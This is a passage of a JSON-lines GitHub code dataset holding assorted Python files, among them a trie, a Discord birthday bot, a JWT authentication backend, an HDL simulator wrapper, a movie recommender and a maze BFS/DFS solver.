self.queue_scroll.hide()\n self.search_placeholder.show()\n\nif __name__ == \"__main__\":\n import sys\n app = QApplication(sys.argv)\n window = ModiMinimalWindow()\n window.show()\n app.exec()\n","repo_name":"Starkiller645/modi","sub_path":"gui_minimal.py","file_name":"gui_minimal.py","file_ext":"py","file_size_in_byte":15244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39324439025","text":"from collections import deque\nimport time\n\n\nclass Node:\n def __init__(self, char, is_end):\n self.char = char\n self.children = [None] * 123\n self.is_end = is_end\n\n\nclass TrieIterator:\n\n def __init__(self, root=None):\n queue = deque()\n queue.append(root)\n self.index = -1\n words = []\n while queue:\n node = queue.pop()\n if node.is_end:\n words.append(node.data)\n [queue.appendleft(node) for node in node.children if node is not None]\n self.n = len(words)\n self.words = words\n\n def __iter__(self):\n return self\n\n def __next__(self):\n self.index += 1\n if self.index < self.n:\n return self.words[self.index]\n raise StopIteration\n\n\nclass Trie:\n\n def __init__(self):\n self.wordCount = 0\n self.root = Node(\"\", False)\n\n def add(self, word):\n node = self.root\n n = len(word)\n k = 0\n for i in range(n):\n if node.children[ord(word[i])] is not None:\n node = node.children[ord(word[i])]\n k = i + 1\n else:\n break\n\n if k != n or node.is_end is False:\n for i in range(k, n):\n new_node = Node(word[i], False)\n node.children[ord(word[i])] = new_node\n node = new_node\n\n node.data = word\n node.is_end = True\n self.wordCount += 1\n\n def pop(self, word):\n node = self.root\n n = len(word)\n k = 0\n for i in range(n):\n if node.children[ord(word[i])] is not None:\n node = node.children[ord(word[i])]\n k = i\n\n if k != n - 1 or node.is_end is False:\n raise KeyError(word)\n\n node.is_end = False\n self.wordCount -= 1\n\n def __len__(self):\n return self.wordCount\n\n def __contains__(self, item):\n node = self.root\n n = len(item)\n for i in range(n):\n f = False\n if node.children[ord(item[i])] is not None:\n node = node.children[ord(item[i])]\n else:\n return False\n return node.is_end\n\n def starts_with(self, word):\n node = self.root\n n = len(word)\n for i in range(n):\n f = False\n for child in node.children:\n if child is not None and word[i] == child.char:\n node = child\n f = True\n break\n if not f:\n return TrieIterator()\n return TrieIterator(node)\n\n def __iter__(self):\n self.iterTree = TrieIterator(self.root)\n return self.iterTree\n\n def __next__(self):\n return next(self.iterTree)\n","repo_name":"ninellekam/DataScience","sub_path":"hw3/H.py","file_name":"H.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15353475116","text":"# Toggle Bit - Minimum Sum\n# The program must accept N integers as the input. The program must toggle at most one bit in the binary representation of each integer among the N integers so that the sum of N resulting integers is minimum. The program must print the minimum sum as the output.\n\n# Boundary Condition(s):\n# 1 <= N <= 100\n# 1 <= Each integer value <= 10^8\n\n# Input Format:\n# The first line contains N.\n# The second line contains N integer values separated by a space.\n\n# Output Format:\n# The first line contains an integer representing the sum of N resulting integers.\n\n# Example Input/Output 1:\n# Input:\n# 3\n# 15 10 8\n\n# Output:\n# 9\n\n# Explanation:\n# 15 -> 1111 -> 0111 -> 7.\n# 10 -> 1010 -> 0010 -> 2.\n# 8 -> 1000 -> 0000 -> 0.\n# 7 + 2 + 0 = 9.\n\n# Example Input/Output 2:\n# Input:\n# 4\n# 43 32 77 50\n\n# Output:\n# 42\n\n\n\n\na=int(input())\nl=list(map(int,input().split()))\nm=[]\nfor e in l:\n c=bin(e)[2:]\n if c[0]==\"0\":\n c=\"1\"+c[1:]\n else:\n c=\"0\"+c[1:]\n m.append(int(c,2))\nprint(sum(m))","repo_name":"Logesh08/Programming-Daily-Challenges","sub_path":"Toggle Bit - Minimum Sum.py","file_name":"Toggle Bit - Minimum Sum.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20476434856","text":"__all__ = ('DotVisual')\n\nfrom visual import *\nfrom dot import *\nfrom view_viz import ViewGraph, Edge, Node\n\nNODE_RADIUS = 40\nEDGE_RADIUS = 2\nNODE_COLOUR = (0.8, 0.8, 0.8)\n\n\nclass VisualEdge(Edge):\n def remove(self):\n if hasattr(self, 'edge_arrow'):\n self.edge_arrow.visible = False\n del self.edge_arrow\n\nclass VisualNode(Node):\n def remove(self):\n if hasattr(self, 'node_sphere'):\n self.node_sphere.visible = False\n del self.node_sphere\n if hasattr(self, 'node_label'):\n self.node_label.visible = False\n del self.node_label\n\nclass VisualViewGraph(ViewGraph):\n def __init__(self, node_views_tuples, program='dot', **kwargs):\n self.placement_done = False\n ViewGraph.__init__(self, node_views_tuples, **kwargs)\n\n graph = self.graph\n graph.place_all(prog=program)\n\n self.placement_done = True\n\n self.display = new_display = display(title=graph.name, width=600, height=600)\n new_display.background = (0.3, 0.3, 0.3)\n new_display.select()\n new_display.exit = 0\n\n size = graph.graphsize\n self.offset = vector( (size[2] - size[0]) // 2, (size[3] - size[1]) // 2 )\n\n self.graph = graph\n for node in graph.nodes:\n self.create_visual_node(node)\n for edge in graph.edges:\n try: weight = edge.get('weight')\n except KeyError: weight = None\n self.create_visual_edge(edge, weight)\n\n def build_edge(self, local_node_name, node_name, **kwargs):\n edge = VisualEdge(local_node_name, node_name, **kwargs)\n if self.placement_done:\n self.create_visual_edge(edge, kwargs.get('weight'))\n return edge\n\n def build_node(self, node_name):\n return VisualNode(node_name)\n\n def create_visual_node(self, node):\n pos = vector(node.get('pos')) - self.offset\n node.node_label = label(pos=pos, text=node.name, box=0, line=0, opacity=0,\n space=NODE_RADIUS, height=7, xoffset=-30, yoffset=0)\n\n node.node_sphere = cylinder(pos=pos, axis=(0,0,1000),\n radius=NODE_RADIUS, color=NODE_COLOUR)\n\n def create_visual_edge(self, edge, height=None):\n if height:\n offset = self.offset - vector(0, 0, height) * 10\n else:\n offset = self.offset\n nodes = self.graph.node_dict\n start_node = nodes[edge.from_node]\n end_node = nodes[edge.to_node]\n\n start_pos = vector( start_node.get('pos') )\n end_pos = vector( end_node.get('pos') )\n arrow_vec = ( end_pos - start_pos )\n\n colour = color.hsv_to_rgb( tuple(map(float, edge.get('color').split(','))) )\n edge.edge_arrow = arrow(pos=start_pos-offset, axis=arrow_vec, shaftwidth=EDGE_RADIUS, color=colour)\n","repo_name":"BackupTheBerlios/slow-svn","sub_path":"trunk/src/slow/vis/dot_visual.py","file_name":"dot_visual.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28419316279","text":"import jwt\nfrom django.conf import settings\nfrom rest_framework import authentication, exceptions\n\nfrom .models import User\n\n\nclass JWTAuthentication(authentication.BaseAuthentication):\n authentication_header_prefix = \"Token\"\n\n def authenticate(self, request):\n request.user = None\n auth_header = authentication.get_authorization_header(request).split()\n auth_header_prefix = self.authentication_header_prefix.lower()\n\n if not auth_header:\n return None\n\n if len(auth_header) == 1:\n return None\n\n elif len(auth_header) > 2:\n return None\n\n prefix = auth_header[0].decode(\"utf-8\")\n token = auth_header[1].decode(\"utf-8\")\n\n if prefix.lower() != auth_header_prefix:\n return None\n\n return self._authenticate_credetials(request, token)\n\n def _authenticate_credetials(self, request, token):\n\n try:\n payload = jwt.decode(token, settings.SECRET_KEY)\n except Exception:\n mssge = \"Authentication error. Impossible to decode token\"\n raise exceptions.AuthenticationFailed(mssge)\n\n try:\n user = User.objects.get(pk=payload[\"id\"])\n except User.DoesNotExist:\n mssge = \"User with this token not found\"\n raise exceptions.AuthenticationFailed(mssge)\n\n if not user.is_active:\n mssge = \"This user is deactivated\"\n raise exceptions.AuthenticationFailed(mssge)\n\n return (user, token)\n","repo_name":"SamIvanov7/hillel_05_2022_support","sub_path":"src/apps/authentication/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15757943642","text":"from pathlib import Path\n\nfrom pyIPCMI.Base.Executable import DryRunException\nfrom pyIPCMI.Base.Project import FileTypes, ToolChain, Tool\nfrom pyIPCMI.ToolChain.Aldec.ActiveHDL import ActiveHDL, ActiveHDLException\nfrom pyIPCMI.Simulator import VHDL_TESTBENCH_LIBRARY_NAME, SimulatorException, SkipableSimulatorException, SimulationSteps, Simulator as BaseSimulator\n\n\n__api__ = [\n\t'Simulator'\n]\n__all__ = __api__\n\n\nclass Simulator(BaseSimulator):\n\tTOOL_CHAIN = ToolChain.Aldec_ActiveHDL\n\tTOOL = Tool.Aldec_aSim\n\n\tdef __init__(self, host, dryRun, simulationSteps):\n\t\tsuper().__init__(host, dryRun, simulationSteps)\n\n\t\tactiveHDLFilesDirectoryName = host.Config['CONFIG.DirectoryNames']['ActiveHDLFiles']\n\t\tself.Directories.Working = host.Directories.Temp / activeHDLFilesDirectoryName\n\t\tself.Directories.PreCompiled = host.Directories.PreCompiled / activeHDLFilesDirectoryName\n\n\t\tself._PrepareSimulationEnvironment()\n\t\tself._PrepareSimulator()\n\n\tdef _PrepareSimulator(self):\n\t\t\"\"\"Create the Active-HDL executable factory.\"\"\"\n\t\tself.LogVerbose(\"Preparing Active-HDL simulator.\")\n\t\t# for sectionName in ['INSTALL.Aldec.ActiveHDL', 'INSTALL.Lattice.ActiveHDL']:\n\t\t# \tif (len(self.Host.Config.options(sectionName)) != 0):\n\t\t# \t\tbreak\n\t\t# else:\n\t\t# XXX: check SectionName if ActiveHDL is configured\n\t\t# \traise NotConfiguredException(\n\t\t# \t\t\"Neither Aldec's Active-HDL nor Active-HDL Lattice Edition are configured on this system.\")\n\n\t\tbinaryPath = Path(self.Host.Config['INSTALL.ActiveHDL']['BinaryDirectory'])\n\t\tversion = self.Host.Config['INSTALL.ActiveHDL']['Version']\n\t\tself._toolChain = ActiveHDL(self.Host.Platform, self.DryRun, binaryPath, version, logger=self.Logger)\n\n\tdef _RunAnalysis(self, _):\n\t\t# create a ActiveHDLVHDLCompiler instance\n\t\talib = self._toolChain.GetVHDLLibraryTool()\n\n\t\tfor lib in self._pyIPCMIProject.VHDLLibraries:\n\t\t\talib.Parameters[alib.SwitchLibraryName] = lib.Name\n\t\t\ttry:\n\t\t\t\talib.CreateLibrary()\n\t\t\texcept DryRunException:\n\t\t\t\tpass\n\t\t\texcept ActiveHDLException as ex:\n\t\t\t\traise SimulatorException(\"Error creating VHDL library '{0}'.\".format(lib.Name)) from ex\n\t\t\tif alib.HasErrors:\n\t\t\t\traise SimulatorException(\"Error creating VHDL library '{0}'.\".format(lib.Name))\n\n\t\t# create a ActiveHDLVHDLCompiler instance\n\t\tacom = self._toolChain.GetVHDLCompiler()\n\t\tacom.Parameters[acom.SwitchVHDLVersion] = repr(self._vhdlVersion)\n\n\t\t# run acom compile for each VHDL file\n\t\tfor file in self._pyIPCMIProject.Files(fileType=FileTypes.VHDLSourceFile):\n\t\t\tif (not file.Path.exists()): raise SimulatorException(\"Cannot analyse '{0!s}'.\".format(file.Path)) from FileNotFoundError(str(file.Path))\n\t\t\tacom.Parameters[acom.SwitchVHDLLibrary] = file.LibraryName\n\t\t\tacom.Parameters[acom.ArgSourceFile] = file.Path\n\t\t\t# set a per file log-file with '-l', 'vcom.log',\n\t\t\ttry:\n\t\t\t\tacom.Compile()\n\t\t\texcept DryRunException:\n\t\t\t\tpass\n\t\t\texcept ActiveHDLException as ex:\n\t\t\t\traise SimulatorException(\"Error while compiling '{0!s}'.\".format(file.Path)) from ex\n\t\t\tif acom.HasErrors:\n\t\t\t\traise SkipableSimulatorException(\"Error while compiling '{0!s}'.\".format(file.Path))\n\n\tdef _RunSimulation(self, testbench):\n\t\tif (SimulationSteps.ShowWaveform in self._simulationSteps):\n\t\t\treturn self._RunSimulationWithGUI(testbench)\n\n\t\t# tclBatchFilePath = self.Host.Directories.Root / self.Host.Config[testbench.ConfigSectionName]['aSimBatchScript']\n\n\t\t# create a ActiveHDLSimulator instance\n\t\tasim = self._toolChain.GetSimulator()\n\t\tasim.Parameters[asim.SwitchBatchCommand] = \"asim -lib {0} {1}; run -all; bye\".format(VHDL_TESTBENCH_LIBRARY_NAME, testbench.ModuleName)\n\n\t\t# asim.Optimization = True\n\t\t# asim.TimeResolution = \"1fs\"\n\t\t# asim.ComanndLineMode = True\n\t\t# asim.BatchCommand = \"do {0}\".format(str(tclBatchFilePath))\n\t\t# asim.TopLevel = \"{0}.{1}\".format(VHDLTestbenchLibraryName, testbenchName)\n\t\ttry:\n\t\t\ttestbench.Result = asim.Simulate()\n\t\texcept DryRunException:\n\t\t\tpass\n\t\texcept ActiveHDLException as ex:\n\t\t\traise SimulatorException(\"Error while simulating '{0}.{1}'.\".format(VHDL_TESTBENCH_LIBRARY_NAME, testbench.ModuleName)) from ex\n\t\tif asim.HasErrors:\n\t\t\traise SkipableSimulatorException(\"Error while simulating '{0}.{1}'.\".format(VHDL_TESTBENCH_LIBRARY_NAME, testbench.ModuleName))\n\n\tdef _RunSimulationWithGUI(self, testbench):\n\t\traise SimulatorException(\"GUI mode is not supported for Active-HDL.\")\n\n\t\t# tclGUIFilePath = self.Host.Directories.Root / self.Host.Config[testbench.ConfigSectionName]['aSimGUIScript']\n\t\t# tclWaveFilePath = self.Host.Directories.Root / self.Host.Config[testbench.ConfigSectionName]['aSimWaveScript']\n\t\t#\n\t\t# # create a ActiveHDLSimulator instance\n\t\t# aSim = self._toolChain.GetSimulator()\n\t\t# aSim.Optimization = True\n\t\t# aSim.TimeResolution = \"1fs\"\n\t\t# aSim.Title = testbench.ModuleName\n\t\t#\n\t\t# if (tclWaveFilePath.exists()):\n\t\t# \tself.LogDebug(\"Found waveform script: '{0!s}'\".format(tclWaveFilePath))\n\t\t# \taSim.BatchCommand = \"do {0!s}; do {1!s}\".format(tclWaveFilePath, tclGUIFilePath)\n\t\t# else:\n\t\t# \tself.LogDebug(\"Didn't find waveform script: '{0!s}'. Loading default commands.\".format(tclWaveFilePath))\n\t\t# \taSim.BatchCommand = \"add wave *; do {0!s}\".format(tclGUIFilePath)\n\t\t#\n\t\t# aSim.TopLevel = \"{0}.{1}\".format(VHDL_TESTBENCH_LIBRARY_NAME, testbench.ModuleName)\n\t\t# aSim.Simulate()\n\n","repo_name":"Paebbels/pyIPCMI","sub_path":"pyIPCMI/Simulator/ActiveHDLSimulator.py","file_name":"ActiveHDLSimulator.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"34679591943","text":"from os import path\nimport graphlab as gl\nfrom datetime import datetime\n\ndata_dir = './dataset/ml-20m'\n\nitems = gl.SFrame.read_csv(path.join(data_dir, 'movies.csv'))\n\nactions = gl.SFrame.read_csv(path.join(data_dir, 'ratings.csv'))\n\n\nrare_items = actions.groupby('movieId', gl.aggregate.COUNT).sort('Count')\nrare_items = rare_items[rare_items['Count'] <= 5]\nitems = items.filter_by(rare_items['movieId'], 'movieId', exclude=True)\n\nactions = actions[actions['rating'] >=4 ]\nactions = actions.filter_by(rare_items['movieId'], 'movieId', exclude=True)\n\n\nitems['year'] = items['title'].apply(lambda x: x[-5:-1])\nitems['title'] = items['title'].apply(lambda x: x[:-7])\nitems['genres'] = items['genres'].apply(lambda x: x.split('|'))\nactions['timestamp'] = actions['timestamp'].astype(datetime)\nurls = gl.SFrame.read_csv(path.join(data_dir, 'movie_urls.csv'))\nitems = items.join(urls, on='movieId')\nusers = gl.SFrame.read_csv(path.join(data_dir, 'user_names.csv'))\n\ntraining_data, validation_data = gl.recommender.util.random_split_by_user(actions, 'userId', 'movieId')\n\n\nmodel = gl.recommender.create(training_data, 'userId', 'movieId')\nview = model.views.overview(observation_data=training_data,\n validation_set=validation_data,\n user_data=users,\n user_name_column='name',\n item_data=items,\n item_name_column='title',\n item_url_column='url')\nview.show()\n\n","repo_name":"vgaurav3011/Movie-Recommender-Engine","sub_path":"Recommender/movie_recommender.py","file_name":"movie_recommender.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"40189489351","text":"from discord.ext import commands, tasks\nimport discord\nfrom discord.user import User\nimport os\nimport asyncio\nimport logging as log\nfrom datetime import datetime, date, time, timedelta\nfrom src.Id_collection import role_list, emoji_list, channle_id\nimport sqlite3\n# import modules.MyDatabase as db\n\nROLE_DEVELOPER = role_list[\"TK4開發團隊\"]\nCHANNLE_HBD = channle_id[\"生日快樂\"]\nEMOJI_BALL = emoji_list[\":tc_ball:\"]\nEMOJI_HAPPY = emoji_list[\":tc_happy:\"]\n\n\n# 資料庫連線設定\nconn = sqlite3.connect('src/database/birthday.db')\nc = conn.cursor()\nc.execute('''CREATE TABLE IF NOT EXISTS birthdays\n (user_id INTEGER PRIMARY KEY, name TEXT, birth_year TEXT, birth_date TEXT, show_age INTEGER)''')\n\n\nclass HappyBirthday(commands.Cog, description=\"TK4祝尼生日快樂uwu\"):\n def __init__(self, bot):\n self.bot = bot\n self.check_birthdays_loop.start()\n \n\n @commands.command(name='生日', help='登記生日:!生日 生日(YYYY-MM-DD) 是否公開歲數(Y/N)')\n async def add_birthday(self, ctx, birth_date: str, show_age: str):\n user_id = ctx.author.id\n name = ctx.author.name\n if show_age.upper() == 'Y':\n show_age = 1\n elif show_age.upper() == 'N':\n show_age = 0\n else:\n await ctx.send('公開歲數的輸入參數僅可輸入大小寫Y與N,Y表示同意公開歲數,N為不公開歲數')\n return\n # 將生日資料寫入資料庫\n birth_date = date.fromisoformat(birth_date)\n birth_year_datetime = birth_date.year\n birth_date_datetime = f\"{birth_date.month}-{birth_date.day}\"\n c.execute(\"INSERT OR REPLACE INTO birthdays (user_id, name, birth_year, birth_date, show_age) VALUES (?, ?, ?, ?, ?)\",\n (user_id, name, birth_year_datetime, birth_date_datetime, show_age))\n conn.commit()\n log.info(f\"Updated birthdays: {name}\")\n await ctx.send('生日資料已成功登記!')\n\n\n @tasks.loop(hours=24) #TODO: 改時間\n async def check_birthdays_loop(self):\n # 取得現在的日期\n today = date.today()\n today_date = f\"{today.month}-{today.day}\"\n # print(today_date)\n # 取得明天的日期\n c.execute(f\"SELECT * FROM birthdays WHERE birth_date='{today_date}'\")\n birthdays = c.fetchall()\n log.info(birthdays)\n for user_id, name, birth_year, birth_date, show_age in birthdays:\n # 計算年齡\n age = today.year - int(birth_year)\n # 傳送生日祝福訊息到指定頻道\n channel = self.bot.get_channel(CHANNLE_HBD) # 請填入你要傳送訊息的頻道ID\n user = self.bot.get_user(user_id)\n if show_age:\n await channel.send(f'祝{user.mention} {age}歲 生日快樂!!')\n embed = discord.Embed(\\\n title=f\"{name}生日快樂!!\", \\\n description=f\"今天是{name}的{age}歲生日!! \\n快祝他生日快樂吧\", \\\n color=0xFC7B0A \\\n )\n embed.add_field(name=f\"{age}歲 生日快樂汪\", value=f\"嗷嗚~{EMOJI_BALL}\", inline=False)\n else:\n await channel.send(f'祝{user.mention} 生日快樂!!')\n embed = discord.Embed(\\\n title=f\"{name}生日快樂!!\", \\\n description=f\"今天是{name}的生日!! \\n快祝他生日快樂吧\", \\\n color=0xFC7B0A \\\n )\n embed.add_field(name=f\"生日快樂汪\", value=f\"嗷嗚~{EMOJI_BALL}\", inline=False)\n \n embed.set_thumbnail(url=user.avatar)\n file = discord.File(\"src/pic/Heart.png\", filename=\"heart.png\")\n embed.set_image(url=\"attachment://heart.png\")\n await channel.send(file=file, embed=embed)\n \n \n @check_birthdays_loop.before_loop\n async def before_check_birthdays_loop(self):\n await self.bot.wait_until_ready()\n log.info('waiting time')\n now = datetime.now()\n then = datetime.combine(now, time(0, 0, 0)) #TODO: 改時間\n if then < now :\n then += timedelta(days=1)\n wait_time = (then - now).total_seconds()\n # print(now)\n # print(then)\n log.info('waiting time: {}'.format(wait_time))\n await asyncio.sleep(wait_time)\n log.info('wait time finished: {}'.format(wait_time))\n\n# 要用 async await \nasync def setup(bot):\n await bot.add_cog(HappyBirthday(bot))\n\n# bot 前面記得加 self\n","repo_name":"tooruche520/DiscordBot_TK4","sub_path":"cogs/HappyBirthday.py","file_name":"HappyBirthday.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"30717662976","text":"# Написать программу, которая будет складывать, вычитать, умножать или делить два числа. Числа и знак операции\n# вводятся пользователем. После выполнения вычисления программа не завершается, а запрашивает новые данные для\n# вычислений. Завершение программы должно выполняться при вводе символа '0' в качестве знака операции. Если\n# пользователь вводит неверный знак (не '0', '+', '-', '*', '/'), программа должна сообщать об ошибке и снова\n# запрашивать знак операции. Также она должна сообщать пользователю о невозможности деления на ноль, если он ввел его\n# в качестве делителя.\n# Ссылка на блок схемы\n# https://drive.google.com/file/d/1CCBT8TPZFjyriw2Fu0dtLa1nIG59EGfU/view?usp=sharing\n\ndef mat(m, n, s):\n if s == '+':\n return m + n\n elif a == '-':\n return m - n\n elif s == '*':\n return m * n\n else:\n if b != 0:\n return m / n\n else:\n return 'Ошибка! Деление на ноль.'\n\n\nif __name__ == '__main__':\n while True:\n z = input('Ведите знак операции (+,-,*,/) или 0 для завершения программы: ')\n if z == '0':\n break\n else:\n if z in ('+','-','*','/'):\n a = float(input('Введите певрвое число: '))\n b = float(input('Введите второе число: '))\n result = mat(a, b, z)\n print(f'{a} {z} {b} = {result}')\n else:\n print('Введена не корректная операция')\n print('Программа завершена')\n","repo_name":"RSV48/algorithms","sub_path":"task_02_01.py","file_name":"task_02_01.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9354947342","text":"import time\nimport signal as si\nimport sys\n\n\ndef arret_boucle(s, frame):\n global fin\n fin = True\n\n\nfin = False\nsi.signal(si.SIGINT, arret_boucle)\nwhile not fin:\n print(\"Dans la boucle\")\n time.sleep(1)\n","repo_name":"oppZ/pc","sub_path":"tp3/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27264004253","text":"def solution(s):\n s = s.lower() # ! 함정..ㄷㄷ\n cnt = 97\n wor = [97]\n for i in range(97,123):\n if s.count(chr(i)) == s.count(chr(cnt)):\n if i not in wor:\n wor.append(i)\n\n elif s.count(chr(i)) > s.count(chr(cnt)):\n cnt = i\n wor = [i]\n \n answer = ''\n # print(wor)\n for i in [116,111]:\n if i in wor:\n answer += chr(i).upper()\n wor.remove(i)\n\n if 115 in wor:\n answer += 'SS'\n wor.remove(115)\n\n for i in wor:\n answer += chr(i)\n\n return answer\n","repo_name":"elice-02-study-01-algorithm/python","sub_path":"HJ_Seo/programmers/2022_toss_next/test/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"4494744044","text":"# importing the libraries needed to label points and color the output to the terminal\nfrom enum import Enum\nfrom termcolor import colored\n\n\n# creating a class called maze so that we can iterate through the maze\nclass Maze:\n\n # constructor to set the start and end as well as store the maze in an array\n def __init__(self):\n self.start = None\n self.end = None\n self.array = []\n\n\n# creating a tile class to label the tile as a path or wall\nclass Tile(Enum):\n WALL = 1\n PATH = 0\n\n\n# function to create the maze object by reading a txt file\ndef createMaze():\n # opening the maze file for reading\n f = open(\"path to maze and name of txt file containing the maze\", \"r\")\n\n # creating an instance of the maze class\n maze = Maze()\n\n # double for loop to read through the liens of the file and label them\n y = 0\n\n for line in f:\n tiles = []\n x = 0\n\n # labeling the start, end, paths, and walls depending on the character\n for char in line:\n if char == \"#\":\n tiles.append(Tile.WALL)\n\n elif char == \" \":\n tiles.append(Tile.PATH)\n\n elif char == \"S\":\n maze.start = (x, y)\n tiles.append(Tile.PATH)\n\n elif char == \"E\":\n maze.end = (x, y)\n tiles.append(Tile.PATH)\n\n # incrementing varibales\n x += 1\n\n # appending the labeled tile to the maze objects array\n maze.array.append(tiles)\n y += 1\n\n # returning the maze objcect created\n return maze\n\n\n# function to display the maze before and after the path was found\ndef displayMaze(maze, path=[]):\n # double for loop to iterate through the array in the maze object\n y = 0\n\n for tiles in maze.array:\n x = 0\n\n # printing the tiles of the maze based on the tile class, and labeling the path if one is given\n for tile in tiles:\n if (x, y) in path:\n print(colored(\"o\", \"blue\"), end=\"\")\n\n elif (x, y) == maze.start:\n print(\"S\", end=\"\")\n\n elif (x, y) == maze.end:\n print(\"E\", end=\"\")\n\n elif tile == Tile.WALL:\n print(colored(\"#\", \"yellow\"), end='')\n\n elif tile == Tile.PATH:\n print(\" \", end='')\n\n # incrementing varibales and printing a new line\n x += 1\n\n print()\n y += 1\n\n\n# function to search the maze using the Breadth First Algorithm\ndef mazeBFS(maze, verbose=False):\n # creating lists to hold path frontier and explored tiles\n explored = []\n frontier = []\n\n # setting the start of the maze and adding it to the explored and frontier list\n start = maze.start\n explored.append(start)\n frontier.append([start])\n\n # check if verbose to print the moves\n if verbose:\n print(\"Coordinates being searched to reach the goal state using BFS: \\n\")\n\n # main loop to iterate through the frontier of tiles\n while len(frontier) > 0:\n # setting the current to the front of the frontier\n stack = frontier.pop(0)\n current = stack[-1]\n\n # checking if verbose to print the current coord the search is at\n if verbose:\n print(\"Current coordinate in the maze: \", current)\n\n # checking if we are at the solution or not and returning the path if so\n if current == maze.end:\n return stack\n\n # for loops to search the adjacent tiles\n for y in range(-1, 2):\n for x in range(-1, 2):\n x2 = current[0] + x\n y2 = current[1] + y\n tile = maze.array[y2][x2]\n\n # appending the adjacent tile to current if it isn't a wall and hasn't been visited already\n if tile == Tile.PATH and (x2, y2) not in explored and (x2, y2) != current:\n new_stack = stack.copy()\n new_stack.append((x2, y2))\n frontier.append(new_stack)\n explored.append((x2, y2))\n\n\n# function to search the maze using the Depth First Algorithm\ndef mazeDFS(maze, verbose=False):\n # setting the start of the maze and adding it to the explored and frontier list\n explored = []\n frontier = []\n\n # setting the start of the maze and adding it to the explored and frontier list\n start = maze.start\n explored.append(start)\n frontier.append([start])\n\n # check if verbose to print the moves\n if verbose:\n print(\"Coordinates being searched to reach the goal state using DFS: \\n\")\n\n # main loop to iterate through the frontier of tiles\n while len(frontier) > 0:\n # setting the current to the front of the frontier\n stack = frontier.pop(0)\n current = stack[-1]\n\n # checking if verbose to print the current coord the search is at\n if verbose:\n print(\"Current coordinate in the maze: \", current)\n\n # checking if we are at the solution or not and returning the path if so\n if current == maze.end:\n return stack\n\n # for loops to search the adjacent tiles\n for y in range(-1, 2):\n for x in range(-1, 2):\n x2 = current[0] + x\n y2 = current[1] + y\n tile = maze.array[y2][x2]\n\n # appending the adjacent tile to current if it isn't a wall and hasn't been visited already\n if tile == Tile.PATH and (x2, y2) not in explored and (x2, y2) != current:\n new_stack = stack.copy()\n new_stack.append((x2, y2))\n frontier.insert(0, new_stack)\n explored.insert(0, (x2, y2))\n\n\n# main function to display the maze, run the searches, and display the search results\ndef main():\n # creating a maze object from the txt file\n maze = createMaze()\n\n # displaying the maze before it is solved\n print(\"Maze before being solved by DFS and BFS: \")\n\n displayMaze(maze)\n\n # running BFS on the maze and then printing the path found\n # mazeBFS(maze, True) will run the algorithm in verbose mode\n bfspath = mazeBFS(maze)\n\n print(\"\\nMaze solved using BFS ( dots are equivalent to the path ) : \\n\")\n\n displayMaze(maze, bfspath)\n\n # running DFS on the maze and then printing the path found\n # mazeDFS(maze, True) will run the algorithm in verbose mode\n dfspath = mazeDFS(maze)\n\n print(\"\\nMaze solved using DFS ( dots are equivalent to the path ) : \\n\")\n\n displayMaze(maze, dfspath)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JeremyKlein21/cs470-final-project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26934457805","text":"def parse_input():\n data = []\n with open(\"inputs/day1.txt\", \"r\") as file:\n data = file.read().split(\"\\n\\n\") # split by two lines\n for i in range(len(data)):\n line = data[i].strip().split(\"\\n\") # one elf\n data[i] = list(map(int, line))\n # final data format: [[123, 456], [789]]\n return data\n\n\ndef part_one(data):\n # find most calories\n return max([sum(row) for row in data])\n\n\ndef part_two(data):\n # find sum of top 3 max calories\n sorted_sums = sorted([sum(row) for row in data], reverse=True)\n return sorted_sums[0] + sorted_sums[1] + sorted_sums[2]\n\n\nif __name__ == \"__main__\":\n data = parse_input()\n print(part_one(data))\n print(part_two(data))\n","repo_name":"m0nggh/AOC2022","sub_path":"solutions/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20061510428","text":"import math\nfrom itertools import zip_longest\n\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom sklearn.utils import shuffle\n\nfrom utils import next_batch, weight_init\n\n\ndef gen_random_mask(src_valid_lens, src_len, mask_prop):\n \"\"\"\n @param src_valid_lens: valid length of sequence, shape (batch_size)\n \"\"\"\n # all_index = np.arange((batch_size * src_len)).reshape(batch_size, src_len)\n # all_index = shuffle_along_axis(all_index, axis=1)\n # mask_count = math.ceil(mask_prop * src_len)\n # masked_index = all_index[:, :mask_count].reshape(-1)\n # return masked_index\n index_list = []\n for batch, l in enumerate(src_valid_lens):\n mask_count = torch.ceil(mask_prop * l).int()\n masked_index = torch.randperm(l)[:mask_count]\n masked_index += src_len * batch\n index_list.append(masked_index)\n return torch.cat(index_list).long().to(src_valid_lens.device)\n\n\ndef gen_casual_mask(seq_len, include_self=True):\n 